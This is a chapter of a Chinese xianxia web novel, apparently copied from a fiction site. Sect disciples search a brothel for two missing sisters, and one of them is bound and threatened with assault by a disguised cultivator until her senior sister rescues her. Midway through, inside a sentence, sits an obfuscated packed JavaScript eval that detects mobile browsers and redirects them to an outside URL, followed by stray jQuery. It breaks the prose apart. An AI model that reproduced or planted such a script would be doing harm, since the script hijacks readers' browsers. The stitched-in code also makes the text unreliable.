妙音小楼,包间里。
箫明尘思虑道:“不对劲,刚刚老鸨低声说此处有玉面小生,可为何在外迎客的只有女子?”
女子招男客,那自然得有男子迎女客才是。
裴时推门而入,眉梢微冷,“没有。”
不是没有找到于清安她们,而是没有找到老鸨,亦或者说,此处管事是个男子,根本就没有老鸨一职。
端木临声音微沉:“幻术?”
他们没有中幻术,那便是老鸨用幻术变换了容貌,又让周围的人陷入了幻境。
“此处有修士出入,接客女子却多是普通人,若是中了幻术,可能也发现不了……”
宋璟话还没说完就被楼下的谈笑声打断。
“哈哈哈,方兄又来了?也不怕身体吃不消?”
箫明尘起身从阁楼窗户往下看,只见是两个衣着富贵,中等身材的男子,二人皆脚步虚浮,是毫无修为的普通人。
“石兄也是此处常客啊,难道你就不怕这身体吃不消?”
“说真的,比起隔壁街那满春楼,还是这妙音小楼最妙,不仅不会吃不消,还叫人愈发精神抖擞,生龙活虎。”
“爷这话说的,莫不是在嫌奴家不够卖力?”一个身段窈窕的女子上前搂住方姓男子。
“自是没有,在我心里,没人能比得上琴儿你~”
“奴家不管,老爷自罚三杯。”女子故作嗔怪地娇哼。
“好好好。”男子乐呵呵笑道,很是受用,“那石兄我就先告辞了……”
箫明尘合上窗户,转头就见几人神色各异,不由轻笑:“这就害羞了?”
宋璟幽幽道:“三师兄你倒是像常客。”
“诶,这话可别乱说,我一向洁身自好。”
“那到底大师姐和小师妹会去哪里了呢?”宋璟也没心情继续开玩笑了。
“不用担心。”
众人一静,皆看向了端木临,正常来说,此刻端木临不应该这么平静。
“大师姐她不会轻易受制于人。”端木临声线稳定。
刚刚对视时,她分明是在提醒他,既如此,她应该早有准备。
宋璟不赞同:“现在情况不明,我们也不能就在这里干坐着吧。”
箫明尘点点头,“那人能在我和二师兄的眼皮子底下把人带走,确实有几分本事,要么是元婴期以上,要么有一技之长,亦或者是有宝物傍身。”
气氛微微有些凝固。
要是大师姐和小师妹真在这种地方出事了,那他们四人可真就无颜见人了。
“这楼里皆是女子,我们行动探查确实不太方便,不如——我们换上女装?”
裴时冷笑:“呵。”
端木临眉头微拧:“不要。”
宋璟开怼:“要换三师兄你自己换好了,我们可没这种癖好。”
箫明尘举双手投降:“我开玩笑的,缓和一下气氛。”
裴时把剑握在手中,“我们分头行动,我和宋璟一组,你和四师弟一组,遇事传信。”
“好。”另外三人一齐点头。
-
夜幕完全降临,四周一片寂静无声。
“唔唔唔……”如棋双手双脚被捆,只能缩在昏暗柴房的角落里,惊惧地看着来人。
“小美人,你别急,我这就帮你拿掉。”老鸨刚把如棋嘴巴里的布团拿下,就听她迫不及待地问喊:
“我……我大师姐呢,你把她怎么样了!”
“你放心,你大师姐我弄在了别处,我要的始终只有你。”
如棋眼睛发红,不顾麻绳勒出的红痕拼命挣扎,“你为什么要抓我?”
老鸨贪婪地看着她,“因为你实在是太香了。”
如棋心中泛起恶寒,眼前之人邪里邪气,根本就不像是普通的青楼老鸨,“你到底是谁?”
桀桀桀——
老鸨怪笑起来,周身的空气开始扭曲,身体像是瘪了下去,一下就从一个丰腴的妇人变成一个身材干瘦的男子。
如棋不可置信地瞪大眼睛,“你你你……”
“呵呵呵,像你这样的玄阴之体,于我等修士而言乃是大补之物,这般招摇送上门来,我若是不笑纳,岂不是辜负了老天这一番好意。”男子声音沙哑得像是经年不用的磨盘转动的声响,笑声更是令人毛骨悚然。
如棋头发散乱,发髻上的蝴蝶发簪不知何时已经掉了一支了。
“我不是你说的什么玄阴之体,你肯定是弄错了,你别过来,快滚开!我……我师兄都在外面,他们可厉害了,你要是对我动手,他们不会放过你的!”
如棋有心挣脱,却发现自己的丹田气海已经被封住了,使不出半点灵气。
“你那两个师兄确实厉害,年纪轻轻便是元婴期,可惜,我这幻阵连化神都能困住一时半会,没人能来救得了你……”
此刻,窗户外扭曲的月亮十分的亮。
男子猥琐地搓着双手,一步一步地逼近,凹陷的眼眶在惨白的月光下十分吓人。
如棋强装镇定,心里却慌乱得很。
此前她在小山村里无忧无虑,来了青无峰也有师门长辈和一众师兄弟相护,哪怕偶有被大师姐刁难,她也从来没有像今天一样,真正身陷这种险境。
想到这里,如棋心里有些委屈害怕,眼泪不受控制地在眼眶里打转。
-
“怎么样,三师兄,你们可有找到大师姐和如棋?”宋璟对着面前两个人询问道。
箫明尘摇了摇头,沉声道:“只找到了这个。”
几人目光凝在箫明尘手中那一支蝴蝶发簪上。
宋璟一惊:“这是如棋的!”
“在那边偏院找到的,那处并不对外开放。”箫明尘慢慢转了一下手中发簪,上面的所衔之珠已经不见了踪影。
裴时眸光一沉,语气微冷:“于清安。”
刚刚他看得分明,于清安在靠近妙音小楼时神色便有了异常,现在想来,她在门口时便是有意招来一群女子拖住了他们。
几人一静。
他们不是没怀疑过于清安,只不过她近来确实很之前大不一样了。
端木临沉默不语,没有表态。
宋璟嘴角绷紧,他也不太愿意相信现在的于清安会真的对如棋下手。
可是胸口隐隐发作的痛却在提醒他早上刚刚发生的事情。
给了一颗甜枣,又给了一个巴掌。
是让人看不懂的阴晴不定和反复无常。
裴时握着剑,打断了大家的沉默,“我们先过去看看。”
如果于清安有别的心思,他手中墨痕,不介意与重影交锋。
箫明尘收起簪子,眼神也倏地冷淡起来,“在这边。”
几人艰难避开了一众姑娘们的热情,七拐八弯的来到了箫明尘所说的偏院。
宋璟四处打量
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924550|133505||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,比起前头的灯火通明,这里安静得有些突兀,“就是这里?”
偏院不大,中间是一处浆洗房,左侧有一处占地面积很大的假山,右侧着晾晒着一些衣物。
夹带着胭脂粉香和酒香的晚风袭来,竹竿上晾晒着的云锻纱衣便随风轻飘,在凉凉夜色里,颇有几分瘆人。
“好奇怪,这么精致的假山摆在这里干什么?又没人看得见。”宋璟捡起一个石头丢向假山,石头顺着假山坡势滚了下来,并没有什么异常之处。
“我刚刚问过一个姑娘,她说是这个地方风水不好,布置个石景改改运势,问她什么时候布置的,她又说不出来,只含糊说一直在这。”箫明尘支着下巴道。
要是在其他地方,他们早一剑劈开了,可一来,这里来往的都是普通人;二来,于清安和如棋可能在对方手上,他们不宜打草惊蛇;三来,事情闹大,青无峰六个亲传夜逛花楼的事情可就瞒不住了……
“这里不用改风水啊。”宋璟面露诧异。
此处不说藏风聚气,但也不需要摆什么假山,而且在浣衣房旁边放置假山,岂不是有碍通风,有阻阳光?
端木临走到了假山的左侧,“应该是幻阵,有风从右边来。”
箫明尘一笑:“那谁来破阵?”
“我来。”端木临缓缓拔出了手中水寒剑。
水寒一出,四周水汽开始凝结,虚空仿佛微微凝滞了一般。
“那就有劳四师弟你了。”箫明尘默默往后退开几步。
端木临点点头,挥剑斩出一道剑光,剑光所化寒芒并没有撞上假山,而是隐没不见,只留虚空泛起的点点涟漪。
果不其然,假山正面为真,后面为虚。
“那我来布一个简单的隐匿阵。”宋璟举手。
这里人来人往,还多是达官贵人,待会指不定会发生什么事情。
若是在青楼和民间官府扯上关系,他爹不得打死他!
-
男子居高临下地抬起如棋的下巴,眼睛里倒映着如棋惊鹿般的眸子。
“我劝你别白费力气了,啧啧啧,你瞧这细皮嫩肉的,这绳子粗糙,磨着多疼啊。”
“只要你乖乖听话,我们便可共享极乐,那滋味销魂入骨,定会让你欲罢不能。”
如棋侧开脸躲过他的手,“我不要,如果你敢碰我……我就咬舌自尽!”
声音带着鼻音,在男子听来全无威慑力,反倒是让他更为兴奋。
“你最好老实点,配合得好的话,我就放过外面那个女的。”
闻言,如棋紧紧地抿着唇,脸色瞬间变得雪白。
“不然的话……”男子狞笑着,伸手向如棋的肩膀抓去。
千钧一发之际,一根寒冰针从窗棂外飞射而来。
男子刚刚抓住衣袖的手猛地向后退去,竟直接拽下了如棋的半截袖子。
撕拉——
丝绸破裂的声音在夜里十分清晰,同时传来的还有一道清冷的女声。
“不然的话怎样?”
两人蓦然抬头,月光下,白衣女子半蹲在窗台,墨色长发及腰。
当空皓月在其身后,倾泻出柔和的光辉,衣袂蹁跹,在地面上氤氲着斑驳的光和影。
万籁俱寂,惊风四起。
女子视线微微下移,如棋神色发愣地仰头看她,鼻头泛红,眼眶里泪水闪烁。
如棋嘴巴一瘪,“呜呜……大师姐。”